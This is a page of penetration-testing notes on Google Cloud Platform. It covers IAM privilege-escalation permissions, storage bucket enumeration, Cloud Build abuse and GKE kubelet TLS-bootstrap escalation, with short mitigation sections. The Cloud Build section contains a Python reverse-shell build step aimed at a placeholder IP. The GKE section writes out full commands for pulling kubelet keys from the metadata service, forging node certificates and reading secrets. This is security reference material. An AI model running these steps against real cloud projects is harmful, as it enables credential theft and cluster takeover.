GCP Penetration Testing Notes 2

GCP Penetration Testing Notes 2

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GCP Penetration Testing Notes 2 The PDF version of these notes can be found here.

GCP Penetration Testing Notes 2

Privilege Escalation

Notes for the following blog post by RhinoSecurityLabs: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Deployment Manager

Privesc using the deploymentmanager.deployments.create permission

Actions Allowed

  • launch new deployments as the <PROJECT_NUMBER>@cloudservices.gserviceaccount.com service account without needing iam.serviceAccounts.actAs permission
  • deployments provided Editor role within project
  • compute.instances.create not needed because the cloudservices service account has that permission, so you can create a Compute VM
  • can use a YAML configuration file template to create all kinds of resources
    • run gcloud deployment-manager types list to see supported resources

IAM

https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-1

Roles Update

iam.roles.update

  • add permissions to a role you are assigned to

gcloud iam roles <ROLE_NAME> --project <PROJECT_NAME> --add-permissions <PERMISSION>

Exploit script

Get Access Token

iam.serviceAccounts.getAccessToken

  • permission to request access token for a service account
  • request access token for a higher-privileged service account

Exploit script

Create Keys

iam.serviceAccountKeys.create

  • permission to create a key for a service account
  • create a key as the service account and then authenticate as them

gcloud iam service-accounts keys create --iam-account <SERVICE_ACCOUNT_NAME>@<PROJECT>.iam.gserviceaccount..com

Exploit script

Implicit Delegation

iam.serviceAccounts.implicitDelegation

If you have this permission on another service account with iam.serviceAccounts.getAccessToken , you can get the access token for another service account through implicit delegation:

Exploit script

Sign Blob

iam.serviceAccounts.signBlob

  • create a signed blob that retrieves the access token for the targeted service account1
  • sign arbitrary payload

Exploit Script 1

Exploit Script 2

Sign JWT

iam.serviceAccounts.signJwt

  • sign a JWT and request an access token for the targeted service account

Exploit Script

Act As

iam.serviceAccounts.actAs

  • GCP version of AWS iam:PassRole
  • create a new resource as the targeted service account
    • the new resource can be a function, Compute Engine instance, etc.

Cloud Function Creation

  • create a cloud function with a higher-privileged service account and then invoke it

The following permissions are necessary:

  1. cloudfunctions.functions.call or cloudfunctions.functions.setIamPolicy
    1. Either immediately invoke a function or set the IAM policy of the function to allow you to invoke it.
  1. cloudfunctions.functions.create: create new functions
  1. cloudfunctions.functions.sourceCodeSet: update function source code
  1. iam.serviceAccounts.actAs

Exploit Script 1

Exploit Script 2

Function zip file

  • zip file is a function that retrieves access token from metadata

Cloud Function Update

  • update an existing function

The following permissions are necessary:

  1. cloudfunctions.functions.sourceCodeSet
  1. cloudfunctions.functions.update
  1. iam.serviceAccounts.actAs

Exploit Script

Compute Instance Create

  • create a Compute Engine using a high-privileged service account

Necessary permissions:

  1. compute.disks.create
  1. compute.instances.create
  1. compute.instances.setMetadata
  1. compute.instances.setServiceAccount
  1. compute.subnetworks.use
  1. compute.subnetworks.useExternalIp
  1. iam.serviceAccounts.actAs

Exploit Script

  • create instance then exfiltrates creds from metadata to a specified URL and port

Create Cloud Run Service

  • service for building and deploying containerized apps
  • create new cloud run service, invoke it, and get the access token from metadata service

Necessary permissions:

  1. run.services.create
  1. run.services.setIamPolicy or run.routes.invoke
  1. iam.serviceaccounts.actAs

Exploit Script

Docker Image

Create Cloud Scheduler Job

  • cloud scheduler is a service for setting up cron jobs
  • create a cron job that performs some task on the behalf of a higher-privileged service account
    • e.g. to create a new storage bucket:
    gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email high_priv-compute@developer.gserviceaccount.com --headers Content-Type=application/json

Necessary permissions:

  1. cloudscheduler.jobs.create
  1. cloudscheduler.locations.list
  1. iam.serviceAccounts.actAs

Non-IAM

https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2

Orgpolicy Set

orgpolicy.policy.set

  • not a privesc technique, but can be used to disable constraints

Exploit Script

Create HMAC Keys

storage.hmacKeys.create

  • create HMAC key for higher-privileged service account

gsutil hmac create <SERVICE_ACCOUNT>

  • returns access key and secret key

Exploit Script

Create API Keys

serviceusage.apiKeys.create

https://cloud.google.com/docs/authentication/api-keys

  • When API keys are created, they can be used by any entity from anywhere by default
    • API and application restrictions should be placed on API keys to restrict their usage to only be used by the intentional sources

Exploit Script

List API keys

serviceusage.apiKeys.list

  • list API keys in project

gcloud services api-keys list

Exploit Script

Red Flag Permissions

Can likely privesc if you have one of the following permissions

PermissionDescription
resourcemanager.organizations.setIamPolicyAttach IAM role to user in organization
resourcemanager.folders.setIamPolicyAttach IAM role to user in folder
resourcemanager.projects.setIamPolicyAttach IAM role to user in project
iam.serviceAccounts.setIamPolicyAttach IAM role to user at service account level
cloudfunctions.functions.setIamPolicyChange policy of Cloud Function so that it can be invoked
*.setIamPolicyCan update policy for resource / asset within environment.

Google Storage

https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/

  • Google version of AWS S3
  • S3 bucket = Google Storage bucket
  • buckets are private by default on creation

Enumeration

  • faster to enumerate buckets by querying the HTTP endpoint than using gsutil
  • HEAD requests made to https://www.googleapis.com/storage/v1/b/<BUCKET_NAME> endpoint
    • nonexistent bucket if response is 404 or 400
  • public listing of buckets occur when storage.objects.list is given to allUsers
    • allUsers means anyone on the internet (both authenticated and unauthenticated)
  • permissions on a bucket can be found via the TestIAMPermissions API
    • https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=<PERMISSION>
    • https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update
    • not all permissions will be listed as some are not specific to Google Storage (e.g. resourcemanager.projects.list
  • allAuthenticatedUsers is any user on internet that has authenticated to Google Cloud (has potential for misconfiguration!)
    • From Google (https://cloud.google.com/iam/docs/overview): Note: Consider using allUsers, as described on this page, rather than allAuthenticatedUsers. In many cases, granting access to all users is no more of a security risk than granting access only to authenticated users.

Set Bucket Policy

  • can privesc to storage.admin if you can read the bucket policy (storage.buckets.getIamPolicy) and set the IAM policy (storage.buckets.setIamPolicy )
    • storage.buckets.getIamPolicy is not necessary, but otherwise you risk overwriting the original policy (could lead to errors in environment)

Privesc command: gsutil ch group:<YOUR_CURRENT_GROUP>:admin gs://<BUCKET>

Cloud Build

https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

  1. Provide code for Cloud Build which gets executed during build process (RCE)
  1. Get access token for cloudbuild service account
  • must have permission to start a new build to escalate privileges (cloudbuild.builds.create)

Exploit Script

Methodology

  • create malicious .yaml file:
steps:
- name: 'python'
  entrypoint: 'python'
  args:
  - -c
  - import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP-ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Run the following command:gcloud builds submit --config ./build.yaml .

Then, read /root/tokencache/gsutil_token_cache to get Cloud Build service account token

  • check scope of token here: https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=

Remediation

  • don’t provide cloudbuild.build.create unless you’re okay with the permissions the Cloud Build service account grants
  • consider reducing the permissions for the CloudBuild service account

GKE

https://www.4armed.com/blog/hacking-kubelet-on-gke/

https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/

Kubernetes Threat Matrix

https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/

Kubelet

Retrieve apiserver.crt, kubelet.crt, and kubelet.key

curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env' | grep ^KUBELET_CERT | awk '{print $2}' | base64 -d > kubelet.crt
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env' | grep ^KUBELET_KEY | awk '{print $2}' | base64 -d > kubelet.key
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env' | grep ^CA_CERT | awk '{print $2}' | base64 -d > apiserver.crt
  • use $KUBERNETES_PORT_443_TCP_ADDR env variable to find Kubernetes master IP address

TLS Bootstrapping

TLS bootstrap privesc steps:

  • creds give permissions to the CertificateSigningRequest object

List certificate signing request (CSRs) for cluster nodes:

kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get certificatesigningrequests

Obtain client certificate that kubelet uses for its normal functions:

kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get certificatesigningrequests <NODE_NAME> -o yaml
  • in the output of this command, the certificate is in the status.certificate field (base64 encoded)

Base64 decode client certificate:

kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get certificatesigningrequests <NODE_NAME> -o jsonpath='{.status.certificate}' | base64 -d > node.crt
  • cannot yet get pod with client certificate cause the private key rotates every time before a new CSR is created (using LoadOrGenerateKeyFile function)
  • must create own key, generate CSR, and submit the CSR and key

Become a Node

Create private key:

openssl req -nodes -newkey rsa:2048 -keyout k8shack.key -out k8shack.csr -subj "/O=system:nodes/CN=system:node:<NODE_NAME>"
  • note that you can specify the node name and it will work because Kubernetes has no restrictions for which certificates a node can request

Submit key to API:

cat <<EOF | kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} create -f -
apiVersion: certificates.k8s.io/v1beta1
kind: CertificateSigningRequest
metadata:
  name: node-csr-$(date +%s)
spec:
  groups:
  - system:nodes
  request: $(cat k8shack.csr | base64 | tr -d '\n')
  usages:
  - digital signature
  - key encipherment
  - client auth
EOF

Get pod:

kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get csr <NODE_NAME>

Get certificate:

kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get csr <NODE_NAME> -o jsonpath='{.status.certificate}' | base64 -d > node2.crt

Access API server:

kubectl --client-certificate node2.crt --client-key k8shack.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get pods -o wide
  • following the steps above provide access to API as system:nodes group
  • system:nodes group allows pod scheduling and viewing secrets
    • note that you can get secrets, but you can’t list them
  • secret names can be found from pod spec:
kubectl --client-certificate node2.crt --client-key k8shack.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get pod <POD_NAME> -o yaml

Get secret:

kubectl --client-certificate node2.crt --client-key k8shack.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get secret <SECRET_NAME> -o yaml
  • secret is base64 encoded
  • if the secret contains a token, you can use it in kubectl with the --token flag, for example:
kubectl --certificate-authority ca.crt --token <TOKEN> --server https://<MASTER_IP> get all
  • check if you can access other pods using exec

Service Account Token

Service account token in one of the following locations:

/var/run/secrets/kubernetes.io/serviceaccount/token or /run/secrets/kubernetes.io/serviceaccount/token

Mitigations

Metadata Concealment

  • use --workload-metadata-from-node=SECURE to conceal metadata
    • will return “This metada endpoint is concelead” when querying http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env

Network Policy

  • deny egress by default, whitelist only necessary egress traffic
  • applied to pods since
  • block metadata service if not needed

Other Mitigations

  1. Service mesh with egress gateway
    1. prevent communication from containers to unauthorized hosts
  1. Restrict network access to masters
    1. Create private cluster with public access disabled and use jumpbox in VPC to access API

Tools

GCP-IAM-Privesc

  • contains privesc scanners and exploits to automate exploitation

GCP Bucket Brute

  • enumerates buckets to see if they can be accessed or used for privilege escalation

GCP IAM Collector

  • provides visualization graph for IAM permissions in GCP environment

Kubeletemein

  • Kubernetes abuse
  • reads metadata instance attributes, generates CSRs and submits them to the API, and writes out a kubeconfig file for use with kubectl